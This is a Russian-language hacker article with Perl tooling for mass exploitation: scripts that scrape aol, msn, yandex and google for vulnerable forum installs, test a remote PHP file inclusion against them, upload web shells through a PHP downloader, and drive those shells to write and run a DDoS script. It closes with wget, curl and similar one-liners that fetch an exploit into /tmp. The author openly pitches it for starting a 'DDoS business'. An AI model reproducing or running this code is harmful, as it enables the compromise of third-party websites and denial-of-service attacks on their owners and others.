• Партнер

  • Эта статья носит сугубо практический характер, прочитав ее и закрепив на практике многие скажут - 'спасибо n4n0bit',
    ибо на мой взгляд она должна показаться интересной читателю.
    После ее прочтения можно будет самому писать средства DDOS и уже не покупать у кого
    то услуги, а организовывать свой DDOS бизнес. Так же
    можно использоваться этот материал и для
    защиты, для поиска сайтов с уязвимым ПО и
    оповещении их владельцев.  

    Перейдем непосредственно к практике. 

    Поисковая часть

    Для поиска будем использовать 4 поисковые системы: aol.com, msn.com,
    yandex.ru и google.com.

    #!/usr/bin/perl 
    use strict; 
    use warnings; 
    use LWP::UserAgent; 

    our $h0pz = 20; # число скачков по результатам поисковика 
    our $banner = 'kblance'; #
    собственно цель поиска 
    our $mask = 'BB/'; #
    маска установочного
    пути, т.е. http://bla.ru/phpBB/index.php, если ПО установлено сразу в корень,

    #
    т.е. http://bla.ru/index.php, значение переменной оставляем пустым 
    our $include = 'http://[my_shell]/script'; #
    это путь к скрипту который мы хотим подгрузить, используя уязвимость 
    our $accord = 'vse_*aebis'; # возращаемый
    ответ соответствия 

    our @c0ntent = (); #
    в эту переменную будет в последующем заноситься результаты поиска 
    our @uRLS = (); #
    здесь буду уже будут содержаться исключительно URLы 

    # опишем подпрограмму поиска используя aol.com 

    sub aolCom 

    print "[:: aol.com ::]\n"; 
    for(my $i = 1; $i <= $h0pz/10; $i++) #
    скачем по страницам результатов 

    my $ua = LWP::UserAgent->new; 
    #
    указываем UserAgent браузера 
    $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); 
    #
    Составляем запрос
    поиковику с переменными $banner и $i 

    my $req = HTTP::Request->new(GET => "http://search.aol.com/aolcom/search?invocationType=topsearchbox.search&query=$banner&page=$i");
    $req->header('Accept' => 'text/html'); 
    #
    отправляем запрос 
    my $res = $ua->request($req); 
    #
    добавляем в массив @c0ntent общий результат поиска 
    push @c0ntent, $res->content; 

    #
    выдираем из общего результата толька URL-ы 
    foreach(@c0ntent){push @uRLS, $_ =~ m{<b id="[^"]*">(.+?)</b>}smig;} #" 

    # опишем подпрограмму поиска используя msn.com 
    sub msnCom 

    print "[:: msn.com ::]\n"; 
    for(my $i = 1; $i <= $h0pz; $i += 10) #
    скачем по страницам результатов 

    my $ua = LWP::UserAgent->new; 
    $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); 
    my $req = HTTP::Request->new(GET => "http://search.msn.com/results.aspx?q=$banner&first=$i&FORM="); 
    $req->header('Accept' => 'text/html'); 
    my $res = $ua->request($req); 
    push @c0ntent, $res->content; 

    foreach(@c0ntent){push @uRLS, $_ =~ /<h3><a.\w+\W{2}(.+?)\W>/g;} #" 

    # опишем код поиска по яндексу 
    sub yandex 

    print "[:: yandex.ru ::]\n"; 
    for(my $i = 1; $i <= $h0pz/10; $i++) #
    скачем по страницам результатов 

    my $ua = LWP::UserAgent->new; 
    $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); 
    my $req = HTTP::Request->new(GET => "http://ya.ru/yandpage?&q=744300646&p=$i&ag=d&qs=rpt%3Drad%26text%3D$banner");
    $req->header('Accept' => 'text/html'); 
    my $res = $ua->request($req); 
    push @c0ntent, $res->content; 

    foreach(@c0ntent){push @uRLS, $_ =~ /\W{3}.href\W{2}(.+?)\W.target/g;} #" 

    #
    ну и всеми любимый гуглА ;) 

    sub google 

    print "[:: google.com ::]\n"; 
    for(my $i = 1; $i <= $h0pz; $i += 10) #
    скачем по страницам результатов 

    my $ua = LWP::UserAgent->new; 
    $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); 
    my $req = HTTP::Request->new(GET => "http://google.com/search?q=$banner&hl=en&lr=&start=$i&sa=N"); 
    $req->header('Accept' => 'text/html'); 
    my $res = $ua->request($req); 
    push @c0ntent, $res->content; 

    foreach(@c0ntent){push @uRLS, $_ =~ /<a.\w+\W{2}.\W.\w+\W{2}(.+?)\W>/g;} #" 

    Поисковая часть готова. Как вы видите, все
    довольно просто. Единственное, что требуется,
    так это менять шаблоны для парсинга. 

    Я поясню, почему в одном случае делается for(my $i = 1; $i <= $h0pz; $i
    += 10), а в другом for(my $i = 1; $i <= $h0pz/10; $i++);
    Когда поисковик выдал первый результат на 1й странице, вы
    можете просмотреть результаты и на последующих страницах
    и щелкать 1,2,3...10. У гугла, например, в переменную "start" ( =en&lr=&start=$i& ) добавляется 10 всегда если вы на первой, если на 2й то еще 10 и того 20; у других же поисковиков, например yandex.ru, передается в переменную "p" ( 744300646&p=$i&ag=d&qs ) по порядку цифры, от 1 и дальше в зависимости
    от того сколько страниц результата поиска. Ну а уже наша переменна
    $i и есть число следующей страницы результатов. Тут думаю все понятно. 

    Фильтрация результатов

    Здесь опешим "фильтр", т.к. из этих 4х поисковиков в переменной массива @uRLS могут содержаться одинаковые результаты,
    т.е. одинаковые урлы, поэтому нам требуется выбросить из массива одинаковые результаты. Что бы воспользоваться ф-цией
    filter() нужно ей передать УРЛы, это уже я не буду
    описывать, это касается и последующих ф-ций. 

    sub filter # filter("список урлов"); 

    print "[:: filtering ::]\n"; 
    my (%uR,%glob); 
    foreach(@_) # 

    /(.+?$mask)/oi; #
    определяем УРЛ до маски
    установочного пути и заносим в специальную переменную $1 

    my $url = $1; 
    $uR{$_} = $url if /$mask/oi; #
    добавим УРЛ если он содержит маску
    установочного пути 

    next if exists $uR{$_}; #
    если такой УРЛ уже
    содержится в качестве ключа хеша %uR, то исключим его 

    foreach(keys %uR) 

    /.+?\/\/.+?(\/.*$mask)/oi; #
    здесь
    определяем установочный путь уязвимого ПО и заносим в специальную переменную $1

    my $dir = $1; 
    my @own = split(/\//,$_); 
    unless($own[2] =~ /^www/) { $own[2] = "www.".$own[2]; } #
    добавим "www" если они
    отсутствуют 
    $glob{$own[2]} = $dir; # ключом является УРЛ, а значением ключа установочный путь 

    return %glob; # возвращаем результат
    host/repl 

    Exploiting

    Подпрограмма фильтрации у нас есть, поисковая часть тоже есть,
    напишем подпрограмму, которая будет проверять
    работоспособность уязвимости. 

    sub fucking # fucking("\%glob"); 

    print "[:: exploiting ::]\n"; 
    foreach my $href(\%glob) 

    while(my($a,$b) = each %$href) #
    пройдясь по хешу
    запишем в переменную $a хост, а в $b установочный путь
     

    my $ua = LWP::UserAgent->new; 
    $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); 
    my $req = HTTP::Request->new(GET => "http://$a$b$include"); #
    добавляем переменную $include 
    $req->header('Accept' => 'text/html'); 
    my $res = $ua->request($req); 

    if($res->content =~ /$accord/oi) # проверяем ответ сервера на наличия слова-соответствия 

    print "[+] $a$b$include\n"; #
    выводим результат если все удалось 

    else 

    print "[-] $a$b$include\n"; #
    если не удалось 



    Вам только остается все это дело склеить,
    добавив еще 5 строк кода. 

    Автошеллер

    Далее поведаю вам как можно написать простой автошеллер. Автошеллер это
    автоматизированный скрипт, который используя уязвимость 
    закачивает шелл-скрипт (ну или что то другое).
    Посмотрим на примере:

    Мы имеем 100% php-include по этому урлу:

    http://victim.org/admin.php?i=[здесь_уязвимость]

    В значение переменной "i" мы подставляем
    следующий урл:

    http://[SHELL]/p.php&url=http://[SOURCE]/post.txt&kuda =./&name=iamhax0r.php 

    Все в целом будет выглядить так: 

    http://[victim.org]/admin.php?i=http://[SHELL]/p.php&url=
    http://[SOURCE]/post.txt&kuda=./&name=iamhax0r.php 

    • В значение переменной "url" ставим урл того, что требуется скачать  
    • "kuda" - заносим значение куда нужна сохранить, а нашем случае в текущую диру "./" 
    • "name" - пишем под каким именем нужна сохранить

    Итак, используя этот вариант и учитывая, что бага нам позволит им воспользоваться, мы можем
    закачать любой файл на сервер не
    пользуясь wget, fetch, curl и прочими программами для закачки.
    После того как вы закачаете файл и он будет удачно сохранен,
    будет отправлен ответ в виде сообщения "You_the_mainest_evil_of_runet by Hell Knights Crew", который послужит в дальнейшем сигнализатором выполнения успешной работы.

    Вот содержимое p.php : 

    <?php 
    $f=file_get_contents($_GET['url']); 
    $h=fopen($_GET['kuda'].$_GET['name'],'w'); 
    fputs($h,$f); 
    fclose($h) && print "You_the_mainest_evil_of_runet by Hell Knights Crew"; 
    ?> 

    Пишим сам код автошеллера: 

    #!/usr/bin/perl 
    use strict; 
    use LWP::UserAgent; 
    use warnings; 
    our $sh_file = 'shells.txt'; 
    our $reply = 'http://shell.narod.ru/p.php&url= http://src.byru/post.txt&kuda=./&name=iamhax0r.php'; 
    open(SH,"$sh_file") or die "$!"; 
    foreach(<SH>) 

    chomp; 
    my $ua = LWP::UserAgent->new; 
    $ua->agent("Googlebot/2.1 (+http://www.google.com/bot.html)" . $ua->agent); 
    my $req = HTTP::Request->new(GET => "$_$reply"); 
    $req->header('Accept' => 'text/html'); 
    my $res = $ua->request($req); 
    if($res->content =~ /You_the_mainest_evil_of_runet by Hell Knights Crew/) { print "[+] $_$reply\n"; } 
    else { print "[-] $_$reply\n"; } 


    close SH; 

    Организация ddos на базе web-шеллов 

    Думаю, что для названия этой статьи будет актуально привести небольшой пример организации DDOS атак построенный на
    шелл-скриптах. Суть очень проста: вы имеете файл, содержащий
    список уже закаченных и рабочих шелов. Возьмем за основу r57shell 1.31.
    Проста передаем параметры скрипту и все:

    #!/usr/bin/perl 
    use strict; 
    use warnings; 
    use LWP::UserAgent; 
    use HTTP::Request::Common; 
    our $name = 'ddos.pl'; 
    our $src = 'здесь будет содержаться текст, будь то тело досера
    или просто Hello Word'; 
    our $dir = '/tmp/'; 
    open(SH,"shell.txt") or die "$!"; 
    chomp(our @sh = <SH>); 
    close SH; 
    foreach(@sh) 

    my $ua = new LWP::UserAgent; 
    my $res = $ua->request(POST "$_", 

    cmd => "echo $src>$name;perl $name", 
    dir => "$dir", 
    submit => '' 
    ]); 
    if($res->{_rc} =~ /200/) { print "Reply [ok]\n"; } 

    Этот момент мне нравиться тем, что опять не
    нужно пользоваться уже установленными качалками, а все делается через echo, который
    всегда есть, а wget-ов, фетчей и прочих курлов может и не быть либо ограничен к ним доступ. 

    Средства закачки файлов в unix-like

    Рассмотрим средства закачки файлов в unix
    среде: 

    which и whereis поможет вам определить местоположение ниже приведенных
    программ. 

    Далее собственно качалки: 

    wget http://[target]/exploit.c -O /tmp/temlet.txt 
    fetch -o http://[target]/exploit.c -p /tmp/templet.txt 
    lynx -source http://[target]/exploit.c > /tmp/templet.txt 
    links -source http://[target]/exploit.c > /tmp/templet.txt 
    curl http://[target]/exploit.c -o /tmp/temlet.txt 
    cd /tmp;pear download http://[target]/exploit.c 
    GET http://[target]/exploit.c > /tmp/tempet.txt 

    Ссылки 

    http://www.ffesys.com/docs/tutorial/perl/google.html

    http://n4n0bit.nm.ru/

    http://hellknights.void.ru/

    Gr337z

    zimin4ik, Hell Knights Crew

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии